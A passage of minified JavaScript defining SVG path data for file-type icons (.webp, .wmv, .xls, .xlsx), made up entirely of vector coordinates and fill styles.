43.75 7.148438 43.75 7.195312 43.734375 Z M 25.179688 43.75 C 25.632812 43.75 26.039062 43.359375 26.039062 42.890625 C 26.039062 42.40625 25.632812 42.015625 25.179688 42.015625 L 20.945312 42.015625 L 20.945312 39.140625 L 24.585938 39.140625 C 25.054688 39.140625 25.445312 38.75 25.445312 38.265625 C 25.445312 37.8125 25.054688 37.40625 24.585938 37.40625 L 20.945312 37.40625 L 20.945312 34.546875 L 25.179688 34.546875 C 25.632812 34.546875 26.039062 34.15625 26.039062 33.671875 C 26.039062 33.1875 25.632812 32.8125 25.179688 32.8125 L 20.070312 32.8125 C 19.585938 32.8125 19.210938 33.1875 19.210938 33.671875 L 19.210938 42.890625 C 19.210938 43.359375 19.585938 43.75 20.070312 43.75 C 20.070312 43.75 20.085938 43.734375 20.085938 43.734375 C 20.085938 43.734375 20.085938 43.75 20.117188 43.75 Z M 31.539062 43.75 C 33.382812 43.75 34.882812 42.25 34.882812 40.390625 C 34.882812 39.203125 34.242188 38.15625 33.304688 37.5625 C 33.679688 37.0625 33.898438 36.453125 33.898438 35.78125 C 33.898438 34.140625 32.570312 32.8125 30.929688 32.8125 L 28.710938 32.8125 C 28.242188 32.8125 27.851562 33.1875 27.851562 33.671875 L 27.851562 42.890625 C 27.851562 43.359375 28.242188 43.75 28.710938 43.75 L 28.757812 43.734375 C 28.757812 43.734375 28.757812 43.75 28.773438 43.75 Z M 30.929688 37.046875 L 29.585938 37.046875 L 29.585938 34.546875 L 30.929688 34.546875 C 31.617188 34.546875 32.164062 35.09375 32.164062 35.78125 C 32.164062 36.46875 31.617188 37.046875 30.929688 37.046875 Z M 31.539062 42.015625 L 29.585938 42.015625 L 29.585938 38.78125 L 31.539062 38.78125 C 32.429688 38.796875 33.148438 39.5 33.148438 40.390625 C 33.148438 41.296875 32.429688 42 31.539062 42.015625 Z M 45.664062 43.75 C 46.132812 43.75 46.539062 43.359375 46.539062 42.890625 L 46.539062 33.671875 C 46.539062 33.269531 46.242188 32.9375 45.859375 32.839844 L 45.664062 32.8125 L 45.648438 32.8125 C 45.367188 32.8125 45.117188 32.9375 44.945312 33.171875 L 41.835938 37.484375 L 38.726562 33.171875 C 38.570312 32.9375 38.289062 32.8125 38.039062 32.8125 L 37.992188 32.8125 C 37.523438 32.8125 37.132812 33.203125 37.132812 33.671875 L 37.132812 42.890625 C 37.132812 43.359375 37.523438 43.75 37.992188 43.75 C 38.476562 43.75 38.867188 43.359375 38.867188 42.890625 L 38.867188 36.3125 L 41.101562 39.4375 C 41.273438 39.671875 41.539062 39.796875 41.820312 39.796875 L 41.851562 39.796875 C 42.132812 39.796875 42.382812 39.671875 42.554688 39.4375 L 44.804688 36.3125 L 44.804688 42.890625 C 44.804688 43.359375 45.179688 43.75 45.664062 43.75 Z M 45.664062 43.75 "/>\n </g>'},webpIcon:{extension:".webp",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 9.234375 43.734375 L 9.28125 43.734375 C 9.3125 43.71875 9.34375 43.703125 9.40625 43.703125 L 9.414062 43.6875 C 9.421875 43.6875 9.421875 43.6875 9.4375 43.6875 C 9.46875 43.671875 9.515625 43.625 9.5625 43.59375 L 9.59375 43.59375 C 9.625 43.5625 9.65625 43.53125 9.6875 43.515625 C 9.6875 43.5 9.703125 43.5 9.703125 43.46875 L 9.796875 43.375 C 9.796875 43.375 9.796875 43.359375 9.8125 43.359375 C 9.828125 43.328125 9.859375 43.265625 9.875 43.21875 L 11.921875 38.375 L 13.96875 43.21875 C 13.984375 43.265625 14 43.328125 14.03125 43.359375 C 14.03125 43.359375 14.03125 43.375 14.0625 43.375 L 14.125 43.46875 C 14.140625 43.5 14.140625 43.5 14.15625 43.515625 L 14.203125 43.546875 L 14.265625 43.59375 C 14.265625 43.59375 14.265625 43.59375 14.28125 43.59375 C 14.3125 43.625 14.359375 43.671875 14.421875 43.6875 C 14.4375 43.6875 14.4375 43.6875 14.453125 43.703125 C 14.484375 43.703125 14.515625 43.71875 14.5625 43.734375 L 14.609375 43.734375 L 14.679688 43.746094 L 14.75 43.75 C 14.8125 43.75 14.859375 43.75 14.90625 43.734375 L 14.9375 43.734375 C 14.984375 43.71875 15.03125 43.703125 15.0625 43.703125 C 15.0625 43.6875 15.078125 43.6875 15.078125 43.6875 L 15.09375 43.6875 C 15.15625 43.671875 15.1875 43.625 15.234375 43.59375 L 15.25 43.59375 C 15.28125 43.5625 15.328125 43.53125 15.359375 43.515625 C 15.359375 43.5 15.375 43.5 15.375 43.46875 C 15.40625 43.4375 15.4375 43.40625 15.453125 43.375 L 15.46875 43.359375 C 15.5 43.328125 15.53125 43.265625 15.546875 43.21875 L 19.375 34.109375 C 19.5625 33.6875 19.359375 33.171875 18.9375 33 C 18.484375 32.8125 17.984375 33.015625 17.796875 33.453125 L 14.75 40.6875 L 12.734375 35.890625 C 12.578125 35.546875 12.25 35.359375 11.921875 35.359375 C 11.578125 35.359375 11.25 35.546875 11.109375 35.890625 L 9.09375 40.6875 L 6.03125 33.453125 C 5.859375 33.015625 5.34375 32.8125 4.921875 33 C 4.46875 33.171875 4.28125 33.6875 4.453125 34.109375 L 8.296875 43.21875 C 8.328125 43.265625 8.34375 43.328125 8.375 43.359375 L 8.375 43.375 C 8.40625 43.40625 8.421875 43.4375 8.453125 43.46875 C 8.46875 43.5 8.46875 43.5 8.484375 43.515625 L 8.539062 43.546875 L 8.59375 43.59375 C 8.59375 43.59375 8.59375 43.59375 8.609375 43.59375 C 8.640625 43.625 8.703125 43.671875 8.75 43.6875 C 8.765625 43.6875 8.765625 43.6875 8.78125 43.703125 C 8.8125 43.703125 8.84375 43.71875 8.890625 43.734375 L 8.9375 43.734375 L 9.015625 43.746094 L 9.09375 43.75 C 9.140625 43.75 9.1875 43.75 9.234375 43.734375 Z M 27.21875 43.75 C 27.671875 43.75 28.078125 43.359375 28.078125 42.890625 C 28.078125 42.40625 27.671875 42.015625 27.21875 42.015625 L 22.984375 42.015625 L 22.984375 39.140625 L 26.625 39.140625 C 27.09375 39.140625 27.484375 38.75 27.484375 38.265625 C 27.484375 37.8125 27.09375 37.40625 26.625 37.40625 L 22.984375 37.40625 L 22.984375 34.546875 L 27.21875 34.546875 C 27.671875 34.546875 28.078125 34.15625 28.078125 33.671875 C 28.078125 33.1875 27.671875 32.8125 27.21875 32.8125 L 22.109375 32.8125 C 21.625 32.8125 21.25 33.1875 21.25 33.671875 L 21.25 42.890625 C 21.25 43.359375 21.625 43.75 22.109375 43.75 L 22.125 43.734375 C 22.125 43.734375 22.125 43.75 22.15625 43.75 Z M 33.578125 43.75 C 35.421875 43.75 36.921875 42.25 36.921875 40.390625 C 36.921875 39.203125 36.28125 38.15625 35.34375 37.5625 C 35.71875 37.0625 35.9375 36.453125 35.9375 35.78125 C 35.9375 34.140625 34.609375 32.8125 32.96875 32.8125 L 30.75 32.8125 C 30.28125 32.8125 29.890625 33.1875 29.890625 33.671875 L 29.890625 42.890625 C 29.890625 43.359375 30.28125 43.75 30.75 43.75 C 30.765625 43.75 30.765625 43.734375 30.796875 43.734375 C 30.796875 43.734375 30.796875 43.75 30.8125 43.75 Z M 32.96875 37.046875 L 31.625 37.046875 L 31.625 34.546875 L 32.96875 34.546875 C 33.65625 34.546875 34.203125 35.09375 34.203125 35.78125 C 34.203125 36.46875 33.65625 37.046875 32.96875 37.046875 Z M 33.578125 42.015625 L 31.625 42.015625 L 31.625 38.78125 L 33.578125 38.78125 C 34.46875 38.796875 35.1875 39.5 35.1875 40.390625 C 35.1875 41.296875 34.46875 42 33.578125 42.015625 Z M 40.03125 43.75 C 40.515625 43.75 40.90625 43.359375 40.90625 42.890625 L 40.90625 39.5 L 42.828125 39.5 C 44.6875 39.5 46.1875 38 46.1875 36.171875 C 46.1875 34.3125 44.6875 32.8125 42.828125 32.8125 L 40.03125 32.8125 C 39.5625 32.8125 39.171875 33.1875 39.171875 33.671875 L 39.171875 42.890625 C 39.171875 43.359375 39.5625 43.75 40.03125 43.75 Z M 42.828125 37.765625 L 40.90625 37.765625 L 40.90625 34.546875 L 42.828125 34.546875 C 43.734375 34.546875 44.4375 35.265625 44.453125 36.171875 C 44.4375 37.046875 43.734375 37.765625 42.828125 37.765625 Z M 42.828125 37.765625 "/>\n </g>'},wmvIcon:{extension:".wmv",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 8.484375 43.734375 L 8.53125 43.734375 C 8.5625 43.71875 8.59375 43.703125 8.65625 43.703125 L 8.664062 43.6875 C 8.671875 43.6875 8.671875 43.6875 8.6875 43.6875 C 8.71875 43.671875 8.765625 43.625 8.8125 43.59375 L 8.84375 43.59375 C 8.875 43.5625 8.90625 43.53125 8.9375 43.515625 C 8.9375 43.5 8.953125 43.5 8.953125 43.46875 L 9.046875 43.375 C 9.046875 43.375 9.046875 43.359375 9.0625 43.359375 C 9.078125 43.328125 9.109375 43.265625 9.125 43.21875 L 11.171875 38.375 L 13.21875 43.21875 C 13.234375 43.265625 13.25 43.328125 13.28125 43.359375 C 13.28125 43.359375 13.28125 43.375 13.3125 43.375 L 13.375 43.46875 C 13.390625 43.5 13.390625 43.5 13.40625 43.515625 L 13.453125 43.546875 L 13.515625 43.59375 C 13.515625 43.59375 13.515625 43.59375 13.53125 43.59375 C 13.5625 43.625 13.609375 43.671875 13.671875 43.6875 C 13.6875 43.6875 13.6875 43.6875 13.703125 43.703125 C 13.734375 43.703125 13.765625 43.71875 13.8125 43.734375 L 13.859375 43.734375 L 13.929688 43.746094 L 14 43.75 C 14.0625 43.75 14.109375 43.75 14.15625 43.734375 L 14.1875 43.734375 C 14.234375 43.71875 14.28125 43.703125 14.3125 43.703125 C 14.3125 43.6875 14.328125 43.6875 14.328125 43.6875 L 14.34375 43.6875 C 14.40625 43.671875 14.4375 43.625 14.484375 43.59375 L 14.5 43.59375 C 14.53125 43.5625 14.578125 43.53125 14.609375 43.515625 C 14.609375 43.5 14.625 43.5 14.625 43.46875 C 14.65625 43.4375 14.6875 43.40625 14.703125 43.375 L 14.71875 43.359375 C 14.75 43.328125 14.78125 43.265625 14.796875 43.21875 L 18.625 34.109375 C 18.8125 33.6875 18.609375 33.171875 18.1875 33 C 17.734375 32.8125 17.234375 33.015625 17.046875 33.453125 L 14 40.6875 L 11.984375 35.890625 C 11.828125 35.546875 11.5 35.359375 11.171875 35.359375 C 10.828125 35.359375 10.5 35.546875 10.359375 35.890625 L 8.34375 40.6875 L 5.28125 33.453125 C 5.109375 33.015625 4.59375 32.8125 4.171875 33 C 3.71875 33.171875 3.53125 33.6875 3.703125 34.109375 L 7.546875 43.21875 C 7.578125 43.265625 7.59375 43.328125 7.625 43.359375 L 7.625 43.375 C 7.65625 43.40625 7.671875 43.4375 7.703125 43.46875 C 7.71875 43.5 7.71875 43.5 7.734375 43.515625 L 7.789062 43.546875 L 7.84375 43.59375 C 7.84375 43.59375 7.84375 43.59375 7.859375 43.59375 C 7.890625 43.625 7.953125 43.671875 8 43.6875 C 8.015625 43.6875 8.015625 43.6875 8.03125 43.703125 C 8.0625 43.703125 8.09375 43.71875 8.140625 43.734375 L 8.1875 43.734375 L 8.265625 43.746094 L 8.34375 43.75 C 8.390625 43.75 8.4375 43.75 8.484375 43.734375 Z M 29.03125 43.75 C 29.5 43.75 29.90625 43.359375 29.90625 42.890625 L 29.90625 33.671875 C 29.90625 33.269531 29.609375 32.9375 29.226562 32.839844 L 29.03125 32.8125 L 29.015625 32.8125 C 28.734375 32.8125 28.484375 32.9375 28.3125 33.171875 L 25.203125 37.484375 L 22.09375 33.171875 C 21.9375 32.9375 21.65625 32.8125 21.40625 32.8125 L 21.359375 32.8125 C 20.890625 32.8125 20.5 33.203125 20.5 33.671875 L 20.5 42.890625 C 20.5 43.359375 20.890625 43.75 21.359375 43.75 C 21.84375 43.75 22.234375 43.359375 22.234375 42.890625 L 22.234375 36.3125 L 24.46875 39.4375 C 24.640625 39.671875 24.90625 39.796875 25.1875 39.796875 L 25.21875 39.796875 C 25.5 39.796875 25.75 39.671875 25.921875 39.4375 L 28.171875 36.3125 L 28.171875 42.890625 C 28.171875 43.359375 28.546875 43.75 29.03125 43.75 Z M 37.015625 43.734375 L 37.0625 43.734375 C 37.09375 43.71875 37.125 43.703125 37.1875 43.703125 L 37.195312 43.6875 C 37.203125 43.6875 37.203125 43.6875 37.21875 43.6875 C 37.25 43.671875 37.296875 43.625 37.34375 43.59375 L 37.375 43.59375 C 37.40625 43.5625 37.4375 43.53125 37.46875 43.515625 C 37.46875 43.5 37.484375 43.5 37.484375 43.46875 L 37.578125 43.375 C 37.578125 43.375 37.578125 43.359375 37.59375 43.359375 C 37.609375 43.328125 37.640625 43.265625 37.65625 43.21875 L 39.703125 38.375 L 41.75 43.21875 C 41.765625 43.265625 41.78125 43.328125 41.8125 43.359375 C 41.8125 43.359375 41.8125 43.375 41.84375 43.375 L 41.90625 43.46875 C 41.921875 43.5 41.921875 43.5 41.9375 43.515625 L 41.984375 43.546875 L 42.046875 43.59375 C 42.046875 43.59375 42.046875 43.59375 42.0625 43.59375 C 42.09375 43.625 42.140625 43.671875 42.203125 43.6875 C 42.21875 43.6875 42.21875 43.6875 42.234375 43.703125 C 42.265625 43.703125 42.296875 43.71875 42.34375 43.734375 L 42.390625 43.734375 L 42.460938 43.746094 L 42.53125 43.75 C 42.59375 43.75 42.640625 43.75 42.6875 43.734375 L 42.71875 43.734375 C 42.765625 43.71875 42.8125 43.703125 42.84375 43.703125 C 42.84375 43.6875 42.859375 43.6875 42.859375 43.6875 L 42.875 43.6875 C 42.9375 43.671875 42.96875 43.625 43.015625 43.59375 L 43.03125 43.59375 C 43.0625 43.5625 43.109375 43.53125 43.140625 43.515625 C 43.140625 43.5 43.15625 43.5 43.15625 43.46875 C 43.1875 43.4375 43.21875 43.40625 43.234375 43.375 L 43.25 43.359375 C 43.28125 43.328125 43.3125 43.265625 43.328125 43.21875 L 47.15625 34.109375 C 47.34375 33.6875 47.140625 33.171875 46.71875 33 C 46.265625 32.8125 45.765625 33.015625 45.578125 33.453125 L 42.53125 40.6875 L 40.515625 35.890625 C 40.359375 35.546875 40.03125 35.359375 39.703125 35.359375 C 39.359375 35.359375 39.03125 35.546875 38.890625 35.890625 L 36.875 40.6875 L 33.8125 33.453125 C 33.640625 33.015625 33.125 32.8125 32.703125 33 C 32.25 33.171875 32.0625 33.6875 32.234375 34.109375 L 36.078125 43.21875 C 36.109375 43.265625 36.125 43.328125 36.15625 43.359375 L 36.15625 43.375 C 36.1875 43.40625 36.203125 43.4375 36.234375 43.46875 C 36.25 43.5 36.25 43.5 36.265625 43.515625 L 36.320312 43.546875 L 36.375 43.59375 C 36.375 43.59375 36.375 43.59375 36.390625 43.59375 C 36.421875 43.625 36.484375 43.671875 36.53125 43.6875 C 36.546875 43.6875 36.546875 43.6875 36.5625 43.703125 C 36.59375 43.703125 36.625 43.71875 36.671875 43.734375 L 36.71875 43.734375 L 36.796875 43.746094 L 36.875 43.75 C 36.921875 43.75 36.96875 43.75 37.015625 43.734375 Z M 37.015625 43.734375 "/>\n </g>'},xlsIcon:{extension:".xls",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 17.21875 46.875 C 17.425781 46.875 17.632812 46.800781 17.820312 46.667969 C 18.289062 46.351562 18.363281 45.695312 18.042969 45.242188 L 14.480469 40.367188 L 18.042969 35.53125 C 18.363281 35.0625 18.289062 34.425781 17.820312 34.105469 C 17.351562 33.75 16.730469 33.84375 16.375 34.332031 L 13.226562 38.644531 L 10.054688 34.332031 C 9.738281 33.84375 9.082031 33.75 8.632812 34.105469 C 8.164062 34.425781 8.070312 35.0625 8.386719 35.53125 L 11.949219 40.367188 L 8.386719 45.242188 C 8.070312 45.695312 8.164062 46.351562 8.632812 46.667969 C 8.800781 46.800781 9.007812 46.875 9.230469 46.875 C 9.550781 46.875 9.851562 46.707031 10.054688 46.445312 L 13.226562 42.113281 L 16.375 46.445312 C 16.582031 46.707031 16.882812 46.875 17.21875 46.875 Z M 29.351562 46.875 C 29.894531 46.875 30.382812 46.40625 30.382812 45.84375 C 30.382812 45.261719 29.894531 44.792969 29.351562 44.792969 L 24.269531 44.792969 L 24.269531 34.78125 C 24.269531 34.21875 23.800781 33.75 23.21875 33.75 C 22.636719 33.75 22.1875 34.21875 22.1875 34.78125 L 22.1875 45.84375 C 22.1875 46.335938 22.53125 46.757812 23.007812 46.855469 L 23.222656 46.875 Z M 37.28125 46.855469 C 38.613281 46.855469 39.832031 46.460938 40.75 45.789062 C 41.6875 45.113281 42.363281 44.082031 42.363281 42.882812 C 42.363281 42.300781 42.195312 41.738281 41.914062 41.289062 C 41.480469 40.59375 40.804688 40.105469 40.039062 39.730469 C 39.289062 39.375 38.40625 39.132812 37.449219 38.945312 L 37.414062 38.945312 C 36.398438 38.757812 35.554688 38.457031 35.070312 38.117188 C 34.824219 37.949219 34.65625 37.78125 34.5625 37.632812 C 34.46875 37.480469 34.429688 37.332031 34.429688 37.105469 C 34.429688 36.710938 34.636719 36.300781 35.144531 35.925781 C 35.648438 35.550781 36.398438 35.289062 37.242188 35.289062 C 38.386719 35.289062 39.304688 35.851562 40.261719 36.488281 C 40.710938 36.789062 41.3125 36.65625 41.59375 36.207031 C 41.894531 35.773438 41.761719 35.175781 41.332031 34.875 C 40.375 34.257812 39.042969 33.375 37.242188 33.375 C 36.023438 33.375 34.882812 33.730469 34 34.367188 C 33.136719 35.007812 32.5 35.980469 32.5 37.105469 C 32.5 37.667969 32.648438 38.195312 32.929688 38.644531 C 33.34375 39.300781 33.960938 39.769531 34.675781 40.105469 C 35.386719 40.445312 36.210938 40.667969 37.09375 40.835938 L 37.132812 40.835938 C 38.238281 41.042969 39.15625 41.363281 39.699219 41.71875 C 39.980469 41.90625 40.148438 42.09375 40.261719 42.28125 C 40.375 42.46875 40.429688 42.636719 40.429688 42.882812 C 40.429688 43.351562 40.1875 43.820312 39.625 44.230469 C 39.0625 44.644531 38.21875 44.925781 37.28125 44.925781 C 35.949219 44.945312 34.523438 44.15625 33.699219 43.480469 C 33.289062 43.144531 32.667969 43.199219 32.332031 43.613281 C 32.011719 44.023438 32.070312 44.644531 32.480469 44.980469 C 33.550781 45.824219 35.257812 46.835938 37.28125 46.855469 Z M 37.28125 46.855469 "/>\n </g>'},xlsxIcon:{extension:".xlsx",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 13.070312 43.75 C 13.242188 43.75 13.414062 43.6875 13.570312 43.578125 C 13.960938 43.3125 14.023438 42.765625 13.757812 42.390625 L 10.789062 38.328125 L 13.757812 34.296875 C 14.023438 33.90625 13.960938 33.375 13.570312 33.109375 C 13.179688 32.8125 12.664062 32.890625 12.367188 33.296875 L 9.742188 36.890625 L 7.101562 33.296875 C 6.835938 32.890625 6.289062 32.8125 5.914062 33.109375 C 5.523438 33.375 5.445312 33.90625 5.710938 34.296875 L 8.679688 38.328125 L 5.710938 42.390625 C 5.445312 42.765625 5.523438 43.3125 5.914062 43.578125 C 6.054688 43.6875 6.226562 43.75 6.414062 43.75 C 6.679688 43.75 6.929688 43.609375 7.101562 43.390625 L 9.742188 39.78125 L 12.367188 43.390625 C 12.539062 43.609375 12.789062 43.75 13.070312 43.75 Z M 23.179688 43.75 C 23.632812 43.75 24.039062 43.359375 24.039062 42.890625 C 24.039062 42.40625 23.632812 42.015625 23.179688 42.015625 L 18.945312 42.015625 L 18.945312 33.671875 C 18.945312 33.203125 18.554688 32.8125 18.070312 32.8125 C 17.585938 32.8125 17.210938 33.203125 17.210938 33.671875 L 17.210938 42.890625 C 17.210938 43.359375 17.585938 43.75 18.070312 43.75 Z M 29.789062 43.734375 C 30.898438 43.734375 31.914062 43.40625 32.679688 42.84375 C 33.460938 42.28125 34.023438 41.421875 34.023438 40.421875 C 34.023438 39.9375 33.882812 39.46875 33.648438 39.09375 C 33.289062 38.515625 32.726562 38.109375 32.085938 37.796875 C 31.460938 37.5 30.726562 37.296875 29.929688 37.140625 L 29.898438 37.140625 C 29.054688 36.984375 28.351562 36.734375 27.945312 36.453125 C 27.742188 36.3125 27.601562 36.171875 27.523438 36.046875 C 27.445312 35.921875 27.414062 35.796875 27.414062 35.609375 C 27.414062 35.28125 27.585938 34.9375 28.007812 34.625 C 28.429688 34.3125 29.054688 34.09375 29.757812 34.09375 C 30.710938 34.09375 31.476562 34.5625 32.273438 35.09375 C 32.648438 35.34375 33.148438 35.234375 33.382812 34.859375 C 33.632812 34.5 33.523438 34 33.164062 33.75 C 32.367188 33.234375 31.257812 32.5 29.757812 32.5 C 28.742188 32.5 27.789062 32.796875 27.054688 33.328125 C 26.335938 33.859375 25.804688 34.671875 25.804688 35.609375 C 25.804688 36.078125 25.929688 36.515625 26.164062 36.890625 C 26.507812 37.4375 27.023438 37.828125 27.617188 38.109375 C 28.210938 38.390625 28.898438 38.578125 29.632812 38.71875 L 29.664062 38.71875 C 30.585938 38.890625 31.351562 39.15625 31.804688 39.453125 C 32.039062 39.609375 32.179688 39.765625 32.273438 39.921875 C 32.367188 40.078125 32.414062 40.21875 32.414062 40.421875 C 32.414062 40.8125 32.210938 41.203125 31.742188 41.546875 C 31.273438 41.890625 30.570312 42.125 29.789062 42.125 C 28.679688 42.140625 27.492188 41.484375 26.804688 40.921875 C 26.460938 40.640625 25.945312 40.6875 25.664062 41.03125 C 25.398438 41.375 25.445312 41.890625 25.789062 42.171875 C 26.679688 42.875 28.101562 43.71875 29.789062 43.734375 Z M 43.179688 43.75 C 43.351562 43.75 43.523438 43.6875 43.679688 43.578125 C 44.070312 43.3125 44.132812 42.765625 43.867188 42.390625 L 40.898438 38.328125 L 43.867188 34.296875 C 44.132812 33.90625 44.070312 33.375 43.679688 33.109375 C 